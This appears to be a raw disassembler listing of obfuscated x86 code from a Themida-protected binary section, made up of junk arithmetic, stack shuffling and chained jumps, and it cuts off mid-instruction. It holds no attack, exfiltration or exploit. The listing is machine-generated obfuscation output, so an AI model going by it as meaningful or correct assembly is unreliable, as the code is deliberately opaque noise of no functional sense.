XREF: Themida_:00550B64j add esi, 0E322351h pop ecx xor esi, 74BDA67Dh add eax, 62A93C46h add eax, esi sub eax, 62A93C46h mov esi, [esp] add esp, 4 jmp loc_558226 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554CF4: ; CODE XREF: sub_556A70+1154j sub ebx, edi pop edi xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov [esp-0Ch+arg_8], edi jmp loc_5597D2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_554D05: ; CODE XREF: sub_55515F-2952j mov cl, 53h jmp sub_553B60 ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- loc_554D0C: ; CODE XREF: Themida_:00552034j mov edx, [esp] jmp loc_550D1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554D14: ; CODE XREF: sub_556A70-4724j add esp, 4 shr ecx, 6 sub esp, 4 mov [esp+8+var_8], eax mov eax, esp add eax, 4 jmp loc_550DBC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554D2C: ; CODE XREF: Themida_:005556EFj xor esi, ecx jmp loc_551921 ; --------------------------------------------------------------------------- loc_554D33: ; CODE XREF: Themida_:00559776j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_554D38: ; CODE XREF: Themida_:00551005j mov bl, 0Ah add al, bl pop bx jmp loc_559AC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554D43: ; CODE XREF: sub_556A70+9BAj pop ebx xchg ebx, edx push edx push edx mov edx, 0FFFFFFFFh add [esp+0Ch+var_8], edx pop edx push [esp+8+var_8] pop edx add esp, 4 inc edx jmp loc_550B69 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554D62: ; CODE XREF: Themida_:00558D09j or cl, 39h inc cl xor cl, 30h xor cl, 0F5h mov bl, cl pop ecx jmp loc_553F1B ; --------------------------------------------------------------------------- loc_554D75: ; CODE XREF: Themida_:00555A29j xor esi, 0B3EAEF81h add ebx, esi pop esi sub ebx, ebp sub ebx, 6935107Fh pop ebp jmp loc_55C462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554D8C: ; CODE XREF: sub_556A70-2433j push [esp-16h+arg_10+2] mov edx, [esp-12h+arg_C+2] jmp loc_558C86 ; --------------------------------------------------------------------------- loc_554D97: ; CODE XREF: sub_556A70-C07j add ebp, 4 push ebp push [esp-0Eh+arg_C+2] pop ebp pop [esp-0Eh+arg_8+2] pop esp jmp loc_55943E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551B42 loc_554DAC: ; CODE XREF: sub_551B42+21j mov esi, [esp-4+arg_0] add esp, 4 and eax, edi mov edi, [esp-8+arg_4] add esp, 4 or eax, eax jnz loc_55297F mov edx, 31913C2Ah push 6814h mov [esp-8+arg_4], ecx mov ecx, 1 jmp loc_55549E ; END OF FUNCTION CHUNK FOR sub_551B42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_554DDC: ; CODE XREF: sub_554299+8363j add ecx, 53196E7Ch add ecx, ebp jmp loc_55C2C3 ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- loc_554DE9: ; CODE XREF: Themida_:0055B98Cj mov [esp], ebx jmp loc_557F3B ; --------------------------------------------------------------------------- loc_554DF1: ; CODE XREF: Themida_:00553C78j push edi mov edi, 47F85C67h neg edi not edi add edi, 0B807A39Eh add eax, edi jmp loc_557FDE ; --------------------------------------------------------------------------- loc_554E08: ; CODE XREF: Themida_:0055C4A3j pop eax jmp loc_5538B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554E0E: ; CODE XREF: sub_556A70+5BAj push esi neg [esp-12h+arg_C+2] pop esi add esi, 6D434B94h jmp loc_55A03F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_554642 ; --------------------------------------------------------------------------- loc_554E27: ; CODE XREF: Themida_:00559F01j pop ecx jmp loc_55AE56 ; --------------------------------------------------------------------------- loc_554E2D: ; CODE XREF: Themida_:00551D4Aj push ecx mov ecx, 33341231h mov edi, ecx pop ecx add edi, 8B34903h add edi, 0DE84762h add edi, 0D0D51606h add esi, edi jmp loc_55CA75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554E4F: ; CODE XREF: sub_556A70+1D09j sub ebp, 23A70123h add ebp, edx add ebp, 23A70123h jmp loc_556B51 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554E62: ; CODE XREF: Themida_:00557F53j sub eax, 2B4764FDh pop ecx jmp loc_555FA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554E6D: ; CODE XREF: sub_556A70+2640j or edx, eax shl edx, 1 push ebx mov ebx, 24h add ebx, 368435E9h add ebx, edi push ebp jmp loc_556898 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_554E85 proc near ; CODE XREF: sub_55B730-5C74j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00552AD1 SIZE 00000013 BYTES push ebp mov ebp, 4 add ecx, 8BE77F1h add ecx, ebp sub ecx, 8BE77F1h mov ebp, [esp+0] add esp, 4 sub ecx, 4 xchg ecx, [esp-4+arg_0] pop esp mov [esp+0], edx push 1252h mov [esp-4+arg_0], ebx pop edx push 635Dh mov [esp-4+arg_0], ebp mov ebp, edx jmp loc_552AD1 sub_554E85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554EC7: ; CODE XREF: sub_556A70-44D6j pop ebp add esp, 4 sub esp, 4 mov [esp-0Ch+arg_8], eax mov eax, 54A06C2Dh shl eax, 6 xor eax, 71241854h push esi jmp loc_559729 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554EE7: ; CODE XREF: Themida_:00555995j add esp, 4 push ebp jmp loc_554F01 ; --------------------------------------------------------------------------- loc_554EF3: ; CODE XREF: Themida_:005512E4j sub bl, 0A6h sub esp, 4 mov [esp], edx jmp loc_558153 ; --------------------------------------------------------------------------- loc_554F01: ; CODE XREF: Themida_:00554EEEj push dword ptr [esp+4] pop ebp jmp loc_55976A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554F0B: ; CODE XREF: sub_556A70+36A4j mov edi, 4 add eax, edi pop edi xchg eax, [esp-0Ch+arg_8] pop esp push ebx mov ebx, 3DCC73FDh xor ebx, 47306FA1h add [esp-0Ch+arg_C], 11744BAh sub [esp-0Ch+arg_C], 6BB7440Ch add [esp-0Ch+arg_C], ebx add [esp-0Ch+arg_C], 6BB7440Ch push esi push edx mov edx, 76596A1Dh add edx, 203B0629h dec edx shl edx, 2 shr edx, 4 add edx, 0FB7228A9h mov esi, edx pop edx sub [esp-8+arg_C], esi pop esi pop ebx add [esp-10h+arg_C], 406078F5h sub [esp-10h+arg_C], eax jmp loc_552FD5 ; --------------------------------------------------------------------------- loc_554F71: ; CODE XREF: sub_556A70-1FACj jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554F76: ; CODE XREF: Themida_:0055930Bj pop ebx xor ebx, 727C05AFh sub ebx, 0EAF252CFh mov ebp, ebx pop ebx push edx mov edx, 6F8323EAh mov eax, edx pop edx xor eax, ebp pop ebp not eax or eax, 46A96477h shl eax, 2 dec eax not eax jmp loc_553127 ; --------------------------------------------------------------------------- loc_554FA4: ; CODE XREF: Themida_:0055C4EEj mov esi, 76D47EEFh sub esi, 76D47EEBh add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] pop esp add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_559F98 ; --------------------------------------------------------------------------- loc_554FD6: ; CODE XREF: Themida_:005530EAj pop edi mov eax, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push ecx mov ecx, 9130B67Bh add eax, ecx pop ecx and [edi+1Ch], eax jmp loc_55456D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554FFF: ; CODE XREF: sub_556A70+1682j pop ebp sub [esp-1Ch+arg_1C], esi pop esi pop esi add esi, 5B4372ADh jmp loc_55B68A ; --------------------------------------------------------------------------- loc_555011: ; CODE XREF: sub_556A70+166Dj pop eax mov eax, ebp pop ebp add eax, 5046689Ah add eax, edi push esi mov esi, 7A283B94h push 4B86h mov [esp-24h+arg_20], eax mov eax, 730118C7h inc eax or eax, 41D96152h not eax xor eax, 0A5C754DFh add esi, 1B3522E2h sub esi, eax sub esi, 1B3522E2h pop eax sub eax, esi jmp loc_554291 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555052: ; CODE XREF: Themida_:00553A52j sub [esp], edi mov edi, [esp] add esp, 4 sub edi, 0A75C83Ch add ebp, 42504B1h add ebp, edi sub ebp, 42504B1h jmp loc_555B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555077: ; CODE XREF: sub_556A70+5589j push 1BB3h mov [esp-24h+arg_20], eax pop esi jmp loc_555442 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555085: ; CODE XREF: Themida_:0055355Cj sub eax, esi xor esi, eax jmp loc_551118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55508E: ; CODE XREF: sub_556A70+1ED7j add esp, 4 push ecx jmp loc_552583 ; --------------------------------------------------------------------------- loc_555097: ; CODE XREF: sub_556A70-2714j add [edx], ecx mov edx, [esp-10h+arg_C] jmp loc_55BEFA ; --------------------------------------------------------------------------- loc_5550A1: ; CODE XREF: sub_556A70+61A3j sub bh, 0B1h xor ch, bh pop ebx sub bh, ch pop ecx dec bh jmp sub_55A748 ; --------------------------------------------------------------------------- loc_5550B1: ; CODE XREF: sub_556A70-4A54j mov eax, [esp-4+arg_0] add esp, 4 add edi, ebp mov ebp, [esp-8+arg_4] add esp, 4 xchg edi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] jmp loc_55C935 ; --------------------------------------------------------------------------- loc_5550CD: ; CODE XREF: sub_556A70+252j mov esi, 0B493443h jmp loc_554659 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55227F loc_5550D7: ; CODE XREF: sub_55227F+12j pop edx sub edx, 1A273945h mov edi, [esp+4+var_4] add esp, 4 pop esi push 1B53h mov [esp+0], edx pop eax mov edx, [esp-4+arg_0] jmp loc_55B030 ; END OF FUNCTION CHUNK FOR sub_55227F ; --------------------------------------------------------------------------- loc_5550F9: ; CODE XREF: Themida_:0055CDC1j sub al, 0C5h xor al, 0C6h xor bh, al pop eax and bh, 0A0h xor bh, 0DAh sub al, bh jmp loc_55C2F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55510D: ; CODE XREF: sub_556A70+3F57j push 4D0Dh mov [esp-8+arg_4], edx push 1353h mov [esp-4+arg_0], eax push 6A1Ch mov [esp+0], ebp mov ebp, 1 mov eax, ebp mov ebp, [esp+0] add esp, 4 jmp loc_556D7E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555137: ; CODE XREF: Themida_:0055169Aj add edx, 619638D0h not edx add edx, 0F62C6Bh jmp loc_557BD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55514A: ; CODE XREF: sub_556A70-5F6Fj mov ecx, 4E2E6A38h sub ecx, 713B92h sub eax, ecx mov ecx, [esp-6+arg_0+2] jmp loc_5513D2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55515F proc near ; CODE XREF: sub_559F87-635Bj var_12 = dword ptr -12h var_6 = dword ptr -6 var_2 = word ptr -2 ; FUNCTION CHUNK AT 005510DA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00551A56 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055280C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00554532 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00554D05 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00556451 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055C626 SIZE 00000012 BYTES push bx mov bl, 38h push ax mov ah, 8Bh xor bl, ah pop ax dec bl inc bl jmp loc_554532 sub_55515F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555174: ; CODE XREF: sub_556A70+5F56j mov dword ptr [edi+20h], 43371E27h xor [edi+20h], ebx pop ebx push edx mov edx, 666D05DAh jmp loc_559CE9 ; --------------------------------------------------------------------------- loc_55518A: ; CODE XREF: sub_556A70+43CFj neg esi inc esi xor esi, 2F785B68h jmp loc_5533A9 ; --------------------------------------------------------------------------- loc_555198: ; CODE XREF: sub_556A70+402j sub edx, edi jmp loc_5514EC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push small 5A48h push sp pop small word ptr [esp] push small 5A81h mov [esp], bp push small 2 pop bp push di mov di, 3E26h sub [esp+4], di pop di add [esp+2], bp jmp loc_552775 ; --------------------------------------------------------------------------- loc_5551CE: ; CODE XREF: Themida_:00551560j mov [esp], esi push 3D32h mov [esp], ebp push 21D248B5h jmp loc_55837C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5551E3: ; CODE XREF: sub_5584F8+2E16j mov [esp+0], eax push esi mov esi, 4D0F6E72h jmp loc_5535CB ; END OF FUNCTION CHUNK FOR sub_5584F8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_558C13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5551F7: ; CODE XREF: sub_5584F8-72FEj mov ebx, 28651300h and ebx, 41124CDh neg ebx dec ebx jmp loc_550AAD ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_55520A: ; CODE XREF: Themida_:00559B25j add al, 0CAh add al, 0C1h add al, ch sub al, 0C1h sub al, 0CAh jmp loc_554238 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555219: ; CODE XREF: sub_556A70+48EEj add eax, 0C104BE3Fh jmp loc_55A533 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555223: ; CODE XREF: Themida_:00551A3Dj push 3EE9h mov [esp], ebx xchg ecx, [esp] jmp loc_55846F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_555233: ; CODE XREF: sub_5516F8-AB4j xor ecx, 0B6C9370h sub edi, ecx pop ecx sub edi, 81C0A6Eh sub edi, 7E88325Dh jmp loc_558C18 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_55524D: ; CODE XREF: sub_552E24+6E6Bj push dword ptr [esp+0] jmp loc_5596FF ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555255: ; CODE XREF: sub_556A70-64Fj push edi jmp sub_553A74 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55525B: ; CODE XREF: Themida_:00559E64j push ecx push ebx jmp loc_556920 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555262: ; CODE XREF: sub_556A70+55E3j xor edx, ebx xor ebx, edx xor eax, ebx jmp loc_557EA0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55526D: ; CODE XREF: Themida_:00557C81j pop esp push cx not word ptr [esp] pop cx jmp loc_559E50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55527B: ; CODE XREF: sub_556A70-2470j add eax, 4 sub eax, 4 xchg eax, [esp+8+var_8] jmp loc_558B3D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550BFD loc_55528B: ; CODE XREF: sub_550BFD+8D1Bj sub edx, ecx sub edx, 51DE1E2Ah sub edx, 1B6A2980h add edx, 3A5F6E02h push [esp+4+var_4] jmp loc_551799 ; END OF FUNCTION CHUNK FOR sub_550BFD ; --------------------------------------------------------------------------- mov eax, [esp] push edx mov edx, esp push ebp push edx mov edx, 4A133139h add edx, 58E03B9h mov ebp, edx pop edx shr ebp, 4 add ebp, 0B0C475Ch jmp loc_552AE4 ; --------------------------------------------------------------------------- loc_5552CB: ; CODE XREF: Themida_:00553C87j mov ax, [esp] jmp loc_553B26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5552D4: ; CODE XREF: sub_556A70-12AAj shl byte ptr [esp+8+var_8], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5552DD: ; CODE XREF: sub_556A70-13C9j sub al, 0BCh mov dl, al pop eax jmp loc_554AEB ; --------------------------------------------------------------------------- loc_5552E7: ; CODE XREF: sub_556A70+3994j add edi, ebp pop ebp xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] jmp loc_55624C ; --------------------------------------------------------------------------- loc_5552F8: ; CODE XREF: sub_556A70-1398j pop ecx and esi, 61362581h sub esi, 0B40CB53Bh mov ebp, esi pop esi jmp loc_552BA4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55530D: ; CODE XREF: Themida_:00557BCBj push 2669h jmp loc_55C4EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555317: ; CODE XREF: sub_556A70-AD2j mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp-8+arg_4] xor [esp-8+arg_4], ebx xor ebx, [esp-8+arg_4] pop esp jmp loc_55808B ; --------------------------------------------------------------------------- loc_55532E: ; CODE XREF: sub_556A70-332Ej xor edi, edx pop edx jmp sub_5582B3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555336: ; CODE XREF: Themida_:0055A6B6j push dx push eax jmp loc_559110 ; --------------------------------------------------------------------------- loc_55533E: ; CODE XREF: Themida_:0055AF8Bj pop edi add esi, 68400591h add esi, edx sub esi, 68400591h pop edx xor esi, [esp] xor [esp], esi jmp loc_55C296 ; --------------------------------------------------------------------------- loc_555359: ; CODE XREF: Themida_:005513B3j pop ebp add eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_553069 ; --------------------------------------------------------------------------- loc_555370: ; CODE XREF: Themida_:0055AC32j add ebx, esi pop esi jmp loc_5540CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5521AC loc_555378: ; CODE XREF: sub_5521AC+2487j add cl, bh pop ebx inc cl neg cl add cl, 77h sub cl, 0FCh mov ah, cl pop ecx neg ah jmp loc_55857D ; END OF FUNCTION CHUNK FOR sub_5521AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55538F: ; CODE XREF: sub_552B74-4ADj push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+0Ch+var_C] jmp loc_557FAC ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5553A3: ; CODE XREF: sub_556A70-3E7Dj xor [esp-4+arg_0], ecx jmp loc_5577A2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5553AB: ; CODE XREF: Themida_:0055947Ej add edi, 4 xchg edi, [esp] pop esp jmp loc_55C1D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5553B7: ; CODE XREF: sub_556A70+1A83j sub ebp, 59373ED6h sub ebp, esi push eax mov eax, 59373ED6h add ebp, eax pop eax pop esi add eax, ebp jmp loc_5537CD ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5553D0 proc near ; CODE XREF: sub_556A70-2C0Bj ; FUNCTION CHUNK AT 00550B83 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00551F3F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00553637 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005594A7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00559508 SIZE 00000008 BYTES push bx mov bl, 31h mov cl, bl pop bx sub bl, 4Bh jmp loc_551F3F sub_5553D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5553E0: ; CODE XREF: sub_556A70+AECj push 1 mov edi, [esp-4+arg_0] add esp, 4 sub esp, 4 mov [esp-4+arg_0], ecx push edi jmp loc_559F68 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsb push ecx mov ch, 0A7h add ch, 0D3h jmp loc_5525DE ; --------------------------------------------------------------------------- mov ax, [esp] push ebx jmp loc_55C533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555410: ; CODE XREF: sub_556A70-49AEj push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_552CF2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555425: ; CODE XREF: Themida_:00556764j push ebx mov ebx, 31C121CAh sub ebx, 0FFFFFFFFh add ebx, 608A7772h dec ebx push edi mov edi, 14016CDCh sub ebx, edi jmp loc_552427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555442: ; CODE XREF: sub_556A70-19F0j mov edx, esi jmp loc_553280 ; --------------------------------------------------------------------------- loc_555449: ; CODE XREF: sub_556A70+2D14j mov esp, [esp-28h+arg_24] jmp loc_5578F1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555451: ; CODE XREF: Themida_:005595A9j or edi, ebx pop ebx sub edi, 5DBF793Eh sub edi, 0FFFFFFFFh shl edi, 5 sub esp, 4 jmp loc_556CBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559D5E loc_55546E: ; CODE XREF: sub_559D5E+1530j add eax, 4 add eax, 4 jmp loc_55399E ; END OF FUNCTION CHUNK FOR sub_559D5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55547B: ; CODE XREF: sub_556A70-119Dj push esi mov esi, 5778B88Fh mov ebx, esi pop esi sub ecx, ebx pop ebx add ebx, 2A345E7Ch sub ebx, ecx sub ebx, 2A345E7Ch pop ecx add ebx, 0FFFFFFFFh jmp loc_55C1EB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551B42 loc_55549E: ; CODE XREF: sub_551B42+3295j sub edx, ecx push [esp-8+arg_4] pop ecx add esp, 4 xor edx, 5D944B10h add edx, 7699546h push edi jmp loc_558FFB ; END OF FUNCTION CHUNK FOR sub_551B42 ; --------------------------------------------------------------------------- loc_5554B9: ; CODE XREF: Themida_:00554095j pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5554CA: ; CODE XREF: Themida_:0055A6C8j mov [esp], edi mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 jmp loc_558EC3 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 74CB4930h shl edi, 8 add edi, 71312356h sub edi, 0FFFFFFFFh xor edi, 690144EEh push 16E7h mov [esp], edi push eax mov edi, [esp] push ecx mov ecx, esp jmp loc_557769 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_55550F: ; CODE XREF: sub_557F09+40B3j push 7973h mov [esp+8+var_8], esi jmp sub_55C259 ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- loc_55551C: ; CODE XREF: Themida_:005524FCj mov [esp], ecx mov ecx, 390324C0h jmp loc_559897 ; --------------------------------------------------------------------------- loc_555529: ; CODE XREF: Themida_:00559C88j neg edx jmp loc_55121F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555530: ; CODE XREF: sub_556A70+621Bj sub esi, ebx pop ebx xor esi, [esp-34h+arg_30] xor [esp-34h+arg_30], esi xor esi, [esp-34h+arg_30] pop esp mov [esp-38h+arg_34], edi push 5441h mov [esp-34h+arg_30], esp jmp loc_55BA77 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55554D: ; CODE XREF: Themida_:0055C7F9j add ebx, 12964321h inc ebx sub ebx, 0CD955F5Dh mov edi, ebx pop ebx or edx, edi jmp loc_552306 ; --------------------------------------------------------------------------- loc_555564: ; CODE XREF: Themida_:005540CFj push 3C85h mov [esp], esi push edi mov edi, 21E7043Ch sub esp, 4 jmp loc_552F70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55557A: ; CODE XREF: sub_556A70-22ECj mov [esp+8+var_8], edi jmp loc_55B190 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi push esp pop edi sub esp, 4 mov [esp], edx jmp loc_558625 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_5555AE: ; CODE XREF: sub_55AE6E+3C7j mov bh, 61h add dl, 5 sub dl, bh sub dl, 5 pop bx jmp loc_55851C ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5555BF: ; CODE XREF: sub_556A70+2F57j pop eax add esi, 0F4481AB2h neg esi sub esi, 3A4170EEh add eax, 30221509h sub eax, esi jmp loc_55C5D9 ; --------------------------------------------------------------------------- loc_5555DA: ; CODE XREF: sub_556A70+4ADj and byte ptr [esp+4+var_4], al pushf jmp loc_557AD8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_5555E3: ; CODE XREF: sub_5567EA-43EBj pop edx jmp loc_558B65 ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5555E9: ; CODE XREF: sub_556A70+716j add edi, eax pop eax push 158Dh mov [esp+8+var_8], ebp mov ebp, 418869D4h push ecx mov ecx, 13692891h inc ecx neg ecx xor ecx, 143D41BAh add ecx, 366D7135h inc ecx jmp loc_556A9A ; --------------------------------------------------------------------------- loc_555614: ; CODE XREF: sub_556A70+4F66j push ecx mov ecx, 62F631D2h push edx jmp loc_55C71E ; --------------------------------------------------------------------------- loc_555620: ; CODE XREF: sub_556A70+593Ej or ebx, 2CC6441Dh xor ebx, 2BBD1817h jmp loc_551EDD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_558DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555639: ; CODE XREF: sub_556A70+522Dj mov ecx, 3497607Fh jmp loc_556B75 ; --------------------------------------------------------------------------- loc_555643: ; CODE XREF: sub_556A70-3108j push [esp-1Ch+arg_18] pop edx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-18h+arg_14] pop esp jmp loc_5516B8 ; --------------------------------------------------------------------------- loc_55565F: ; CODE XREF: sub_556A70-C75j xor edi, [esp-1Ch+arg_18] jmp loc_553089 ; --------------------------------------------------------------------------- loc_555667: ; CODE XREF: sub_556A70+CDAj inc ebx or ebx, 9307411h sub ebx, 1CC46EFAh mov ebp, ebx pop ebx jmp loc_555CE5 ; --------------------------------------------------------------------------- loc_55567C: ; CODE XREF: sub_556A70+1103j sub edi, 0BB10D606h sub ebp, edi pop edi push ebp push esi mov esi, 76607069h add [esp-1Ch+arg_1C], esi pop esi jmp loc_5532AE ; --------------------------------------------------------------------------- loc_555696: ; CODE XREF: sub_556A70+62FFj push [esp-20h+arg_1C] pop edx push esi jmp loc_55938B ; --------------------------------------------------------------------------- loc_5556A0: ; CODE XREF: sub_556A70+9E9j push eax mov al, 6Dh xor al, 0C8h not al jmp loc_5552DD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5556AC: ; CODE XREF: Themida_:0055C239j bswap eax jmp loc_551D77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5556B3: ; CODE XREF: sub_556A70-334Cj mov 